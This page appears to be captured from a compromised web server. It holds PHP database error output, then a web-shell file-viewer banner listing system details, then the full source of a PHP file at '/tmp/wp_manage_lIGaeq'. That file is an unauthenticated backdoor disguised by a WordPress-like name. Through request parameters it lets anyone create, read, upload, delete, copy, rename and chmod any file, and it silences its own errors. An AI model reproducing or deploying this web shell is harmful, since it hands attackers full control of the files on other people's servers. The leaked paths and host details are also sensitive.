A PHP Error was encountered

Severity: Warning

Message: mysqli::real_connect(): (HY000/2002): Cannot assign requested address

Filename: mysqli/mysqli_driver.php

Line Number: 201

Backtrace:

File: /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php
Line: 343
Function: __construct

File: /www/wwwroot/dash.konsole.xyz/application/controllers/Api.php
Line: 12
Function: __construct

File: /www/wwwroot/dash.konsole.xyz/index.php
Line: 316
Function: require_once

Database Error

数据库发生错误。

无法使用提供的设置连接到数据库服务器。

Filename: core/MY_Controller.php

Line Number: 343


Fatal error: Uncaught Error: Call to a member function close() on string in /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php:349 Stack trace: #0 [internal function]: Index_Controller->__destruct() #1 {main} thrown in /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php on line 349
HEX
HEX
Server: Apache
System: Linux sys.digiflyeg.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User: opal (1023)
PHP: 8.1.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: //tmp/wp_manage_lIGaeq
<?php

error_reporting(0);
ini_set('display_errors', 0);


header('Content-Type: application/json');


function returnResult($success, $message, $data = null) {
    $result = [
        'success' => $success,
        'message' => $message
    ];
    
    if ($data !== null) {
        $result['data'] = $data;
    }
    
    echo json_encode($result);
    exit;
}


$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : '';


switch ($action) {
    case 'create_file':
        $filename = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
        $content = isset($_REQUEST['content']) ? $_REQUEST['content'] : '';
        
        if (empty($filename)) {
            returnResult(false, 'File path not specified');
        }
        
        if (file_put_contents($filename, $content) !== false) {
            returnResult(true, "File successfully created: $filename");
        } else {
            returnResult(false, "Error creating file: $filename");
        }
        break;
    

    case 'create_dir':
        $dirname = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
        
        if (empty($dirname)) {
            returnResult(false, 'Directory path not specified');
        }
        
        if (mkdir($dirname, 0755, true)) {
            returnResult(true, "Directory successfully created: $dirname");
        } else {
            returnResult(false, "Error creating directory: $dirname");
        }
        break;
    

    case 'delete':
        $path = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
        
        if (empty($path)) {
            returnResult(false, 'File/directory path not specified');
        }
        
        if (is_file($path)) {
            if (unlink($path)) {
                returnResult(true, "File successfully deleted: $path");
            } else {
                returnResult(false, "Error deleting file: $path");
            }
        } elseif (is_dir($path)) {
            function deleteDir($dirPath) {
                if (!is_dir($dirPath)) {
                    return false;
                }
                if (substr($dirPath, strlen($dirPath) - 1, 1) != '/') {
                    $dirPath .= '/';
                }
                $files = glob($dirPath . '*', GLOB_MARK);
                foreach ($files as $file) {
                    if (is_dir($file)) {
                        deleteDir($file);
                    } else {
                        unlink($file);
                    }
                }
                return rmdir($dirPath);
            }
            
            if (deleteDir($path)) {
                returnResult(true, "Directory successfully deleted: $path");
            } else {
                returnResult(false, "Error deleting directory: $path");
            }
        } else {
            returnResult(false, "File or directory does not exist: $path");
        }
        break;
    

    case 'read_file':
        $path = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
        
        if (empty($path)) {
            returnResult(false, 'File path not specified');
        }
        
        if (is_file($path)) {
            $content = file_get_contents($path);
            if ($content !== false) {
                returnResult(true, "File successfully read", ['content' => $content]);
            } else {
                returnResult(false, "Error reading file: $path");
            }
        } else {
            returnResult(false, "File does not exist or is a directory: $path");
        }
        break;
    

    case 'upload_file':
        $destination = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
        
        if (empty($destination)) {
            returnResult(false, 'Upload path not specified');
        }
        
        if (!isset($_FILES['file'])) {
            returnResult(false, 'File was not sent');
        }
        
        if ($_FILES['file']['error'] != 0) {
            returnResult(false, 'Error uploading file: ' . $_FILES['file']['error']);
        }
        
        $dir = dirname($destination);
        if (!is_dir($dir) && !mkdir($dir, 0755, true)) {
            returnResult(false, "Failed to create directory: $dir");
        }
        
        if (move_uploaded_file($_FILES['file']['tmp_name'], $destination)) {
            returnResult(true, "File successfully uploaded: $destination");
        } else {
            returnResult(false, "Error saving uploaded file: $destination");
        }
        break;
    

    case 'list':
        $path = isset($_REQUEST['path']) ? $_REQUEST['path'] : './';
        
        if (!is_dir($path)) {
            returnResult(false, "Directory does not exist: $path");
        }
        
        $items = scandir($path);
        $files = [];
        $dirs = [];
        
        foreach ($items as $item) {
            if ($item == '.' || $item == '..') continue;
            
            $fullPath = rtrim($path, '/') . '/' . $item;
            $info = [
                'name' => $item,
                'path' => $fullPath,
                'modified' => date('Y-m-d H:i:s', filemtime($fullPath))
            ];
            
            if (is_file($fullPath)) {
                $info['type'] = 'file';
                $info['size'] = filesize($fullPath);
                $files[] = $info;
            } else {
                $info['type'] = 'dir';
                $dirs[] = $info;
            }
        }
        
        returnResult(true, "File list retrieved", ['dirs' => $dirs, 'files' => $files]);
        break;
    
    case 'copy':
        $source = isset($_REQUEST['source']) ? $_REQUEST['source'] : '';
        $destination = isset($_REQUEST['destination']) ? $_REQUEST['destination'] : '';
        
        if (empty($source) || empty($destination)) {
            returnResult(false, 'Source or destination not specified');
        }
        
        if (is_file($source)) {
            $destDir = dirname($destination);
            if (!is_dir($destDir) && !mkdir($destDir, 0755, true)) {
                returnResult(false, "Failed to create destination directory: $destDir");
            }
            
            if (copy($source, $destination)) {
                returnResult(true, "File successfully copied from $source to $destination");
            } else {
                returnResult(false, "Error copying file from $source to $destination");
            }
        } elseif (is_dir($source)) {
            function copyDir($src, $dst) {
                $dir = opendir($src);
                if (!is_dir($dst)) {
                    mkdir($dst, 0755, true);
                }
                
                while (($file = readdir($dir)) !== false) {
                    if ($file != '.' && $file != '..') {
                        $srcFile = $src . '/' . $file;
                        $dstFile = $dst . '/' . $file;
                        
                        if (is_dir($srcFile)) {
                            copyDir($srcFile, $dstFile);
                        } else {
                            copy($srcFile, $dstFile);
                        }
                    }
                }
                closedir($dir);
                return true;
            }
            
            if (copyDir($source, $destination)) {
                returnResult(true, "Directory successfully copied from $source to $destination");
            } else {
                returnResult(false, "Error copying directory from $source to $destination");
            }
        } else {
            returnResult(false, "Source does not exist: $source");
        }
        break;
    
    case 'rename':
        $source = isset($_REQUEST['source']) ? $_REQUEST['source'] : '';
        $destination = isset($_REQUEST['destination']) ? $_REQUEST['destination'] : '';
        
        if (empty($source) || empty($destination)) {
            returnResult(false, 'Source or destination not specified');
        }
        
        if (!file_exists($source)) {
            returnResult(false, "Source does not exist: $source");
        }
        
        $destDir = dirname($destination);
        if (!is_dir($destDir) && !mkdir($destDir, 0755, true)) {
            returnResult(false, "Failed to create destination directory: $destDir");
        }
        
        if (rename($source, $destination)) {
            returnResult(true, "Successfully moved/renamed from $source to $destination");
        } else {
            returnResult(false, "Error moving/renaming from $source to $destination");
        }
        break;
    
    case 'chmod':
        $path = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
        $mode = isset($_REQUEST['mode']) ? $_REQUEST['mode'] : '';
        
        if (empty($path)) {
            returnResult(false, 'File/directory path not specified');
        }
        
        if (empty($mode) || !is_numeric($mode)) {
            returnResult(false, 'Mode not specified or invalid');
        }
        
        $mode = octdec($mode);
        
        if (chmod($path, $mode)) {
            returnResult(true, "Permissions successfully changed for $path");
        } else {
            returnResult(false, "Error changing permissions for $path");
        }
        break;
    
    case 'info':
        $path = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
        
        if (empty($path)) {
            returnResult(false, 'File/directory path not specified');
        }
        
        if (!file_exists($path)) {
            returnResult(false, "File or directory does not exist: $path");
        }
        
        $info = [
            'path' => $path,
            'name' => basename($path),
            'type' => is_file($path) ? 'file' : 'dir',
            'size' => is_file($path) ? filesize($path) : null,
            'modified' => date('Y-m-d H:i:s', filemtime($path)),
            'permissions' => substr(sprintf('%o', fileperms($path)), -4)
        ];
        
        returnResult(true, "Information retrieved", $info);
        break;
        
    default:
        returnResult(false, 'Unknown command. Available commands: create_file, create_dir, delete, read_file, upload_file, list, copy, rename, chmod, info');
}
?>